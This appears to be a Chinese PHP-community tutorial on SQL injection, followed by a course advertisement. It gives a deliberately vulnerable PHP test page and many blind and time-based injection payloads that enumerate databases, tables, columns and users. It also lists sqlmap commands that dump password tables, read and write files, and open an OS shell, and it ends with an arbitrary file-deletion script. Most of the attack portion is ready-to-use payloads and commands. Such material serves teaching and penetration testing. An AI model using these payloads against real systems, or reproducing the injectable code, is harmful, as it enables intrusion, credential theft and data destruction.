SQL Injection Techniques, Exploits, and sqlmap Usage Guide
This article explains how forged HTTP headers can lead to SQL injection, demonstrates PHP functions for obtaining client IPs, shows blind injection payloads for enumerating databases, tables, columns, and users, and provides practical sqlmap commands and code examples for exploiting and testing vulnerabilities.
SQL Injection: The HTTP_X_FORWARDED_FOR address in code can be forged, while REMOTE_ADDR is relatively safer. Some applications store the client IP in database queries (e.g., allowing only one registration per IP per day). If the target code uses HTTP_X_FORWARDED_FOR to obtain the IP, an attacker can modify the HTTP header to achieve SQL injection.
<code><?php
function get_client_addr(){
if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){
$ip = $_SERVER["HTTP_CLIENT_IP"];
echo "HTTP_CLIENT_IP =" . $ip;
}else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
echo "HTTP_X_FORWARDED_FOR =" . $ip;
}else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
$ip = $_SERVER["REMOTE_ADDR"];
echo "REMOTE_ADDR =" . $ip;
}else{
$ip = "unknown";
}
return $ip;
}
$addr = get_client_addr();
?></code>SQL Injection (filtered approach): A method that filters input parameters; SQL keywords are stripped, and integers are forced to be cast to integers.
<code><?php
$var = date_default_timezone_get();
echo "当前时区: " . $var . "<br>";
date_default_timezone_set("Asia/Shanghai");
if(!get_magic_quotes_gpc()){
$var = waf($_GET['id']);
echo "过滤后的参数: " . $var;
}
function waf($array){
if(is_array($array)){
foreach ($array as $key => $value) {
$array[$key] = waf($value);
}
}else if(is_string($array)){
$array = addslashes($array);
#$array = str_ireplace("and", "fuck", $array);
$substr = array(
"and" => "fuck you !",
"where" => "fuck you !",
"union" => "fuck you !",
"select" => "fuck you !",
"order" => "fuck you !",
"update" => "fuck you !",
"sleep" => "fuck you !",
);
$array = str_ireplace(array_keys($substr), $substr,$array);
}else if(is_numeric($array)){
$array = intval($array);
}
return $array;
}
?></code>Blind Injection Usage: First modify the above source code to remove the echo box, then replace the following code.
<code><!DOCTYPE html>
<html>
<head>
<meta charset="gbk">
<title>SQL 注入测试代码</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
if(!empty($row))
{
print("查询完成了..");
}else
{
print("查询失败");
}
}
}
?>
<body>
<?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?>
</body>
</html></code>Guess Database Name: Blind injection returns two states (query success or failure). Build conditions to infer the database name, for example:
<code>index.php?id=1' and left(version(),1)=5 --+ // returns normal, version starts with 5
index.php?id=1' and (length(database()))=7 --+ // returns normal, database name length is 7
index.php?id=1' and (left(database(),1))='l' --+ // returns normal, first character is 'l'
index.php?id=1' and (left(database(),2))='ly' --+ // returns normal, first two characters are 'ly'
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // verify first character is 'l'
index.php?id=1')=121 --+ // verify second character is 'y'
</code>Guess Table Name: If the page returns normal, the table exists; otherwise it does not.
<code>index.php?id=1' and (select count(*) from mysql.user) >=0 // mysql.user table exists
index.php?id=1' and (select count(*) from lyshark) >=0 // lyshark table exists
</code>Guess Column: If the page returns normal, the guessed column exists; otherwise continue guessing.
<code>index.php?id=1' and (select count(id) from users) >=0 // 'id' column exists
index.php?id=1' and (select count(name) from users) >=0 // 'name' column does not exist
index.php?id=1' and (select count(*) from lyshark) >=3 #-- // number of records in table
</code>Username Guessing: Use regular expressions to enumerate database usernames; other functions are similar.
<code>index.php?id=1' and (length(user())) >=14 # // guess username length
index.php?id=1' and (select user() like 'root%') # // guess username starts with 'root'
index.php?id=1' and (select user() regexp '^[a-z]') # // guess first character a‑z
index.php?id=1' and (select user() regexp '^r') # // first character is 'r'
index.php?id=1' and (select user() regexp '^ro') # // second character is 'o'
index.php?id=1' and (select user() regexp '^root') # // first four characters are 'root'
</code>Time‑Based Injection: Use sleep(5) to determine if an injection point exists.
<code>index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 # // if there are 3 fields, delay 5 seconds
index.php?id=1' and select if(length(user())=0,sleep(3),1) # // if user length is 0, delay 3 seconds
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // first char 'd' delays 3 seconds
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // second char 'v' delays 3 seconds
</code>sqlmap Commands: Common detection commands.
<code>sqlmap -u "./index.php?id=1" -v 3 # show payload
sqlmap -u "./index.php?id=1" --level=3 # set detection level
sqlmap -u "./index.php?id=1" --privileges # test all user privileges
sqlmap -u "./index.php?id=1" --privileges root # test root privileges
sqlmap -u "./index.php?id=1" --all # enumerate all databases
sqlmap -u "./index.php?id=1" --hostname # get current host name
sqlmap -u "./index.php?id=1" --is-dba # check if DB admin
sqlmap -u "./index.php?id=1" --users # enumerate DB users
sqlmap -u "./index.php?id=1" --random-agent # random User-Agent
sqlmap -u "./index.php?id=1" --output-dir="" # custom output directory
sqlmap -u "./index.php?id=1" --file-read="" # read file
sqlmap -u "./index.php?id=1" --file-write="" # write file
sqlmap -u "./index.php?id=1" --os-cmd="net user" # execute OS command
sqlmap -u "./index.php?id=1" --os-shell # interactive shell
sqlmap -u "./index.php?id=1" --sql-query="" # execute custom SQL
sqlmap -u "./index.php?id=1" --cookie="" # set cookie
sqlmap -u "./index.php?id=1" --temper="" # set tamper script
sqlmap -u "./index.php?id=1" --dbs --delay 1 # delay 1 sec before injection
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # delay 3 sec before injection
sqlmap -u "./index.php?id=1" --identify-waf # test for WAF
sqlmap -u "./index.php?id=1" --current-db # current database
sqlmap -u "./index.php?id=1" --current-user # current user
sqlmap -u "./index.php?id=1" --users # list users
sqlmap -u "./index.php?id=1" --dbs # list databases
sqlmap -u "./index.php?id=1" -D "mysql" --tables # tables in mysql DB
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # columns in host table
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # dump host table
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # dump all
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
</code>Cookie Injection: When --level ≥ 2, use cookie injection; when ≥ 3, use User‑Agent/Referer injection.
<code>sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 # test injection point
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 # enumerate databases
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 # enumerate tables
sqlmap -u "./index.php" -v 3 --cookie id=1 -T table --clumns --level 2 # enumerate columns
sqlmap -u "./index.php" -v 3 --cookie id=1 -T table --clumns--dump --level 2 # dump column data
</code>POST Injection: Usually capture the request with a proxy tool, then specify the field for testing.
1. Open the target URL in a browser, e.g., http://www.xxx.com/index.php .
2. Configure Burp proxy (127.0.0.1:8080) to intercept requests.
3. Click the login form's submit button (or any other button).
4. Burp will intercept the login POST request.
5. Save the POST request as a text file, noting the parameters such as id=1&Submit=Submit .
<code>sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
</code>Other Vulnerability Exploitation – Arbitrary File Deletion: Delete a file by constructing a path and calling unlink .
<code><?php
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\','../','./','.\\'), '', urldecode(trim($_GET['dir']))) : '';
$dir = str_replace("-", "/", $dir);
$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
$path = "./" . $dir . "/" . $file;
$path = str_replace(array("//"), array("/"), $path);
echo "当前路径是: " . $path . "<br>";
if (file_exists($path)) {
if (unlink($path)) {
echo "删除完成..";
} else {
echo "删除失败..";
}
}
?>
</code>Tips: The PHP Chinese community offers a live online class (22nd session) with limited seats. To enroll, contact via WeChat (phpcn01) or QQ (27220243).
Course Format: Zero‑basis learning from front‑end to back‑end, live recordings, internal groups, homework review, tutoring, and study supervision.
php中文网 Courses
php中文网's platform for the latest courses and technical articles, helping PHP learners advance quickly.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.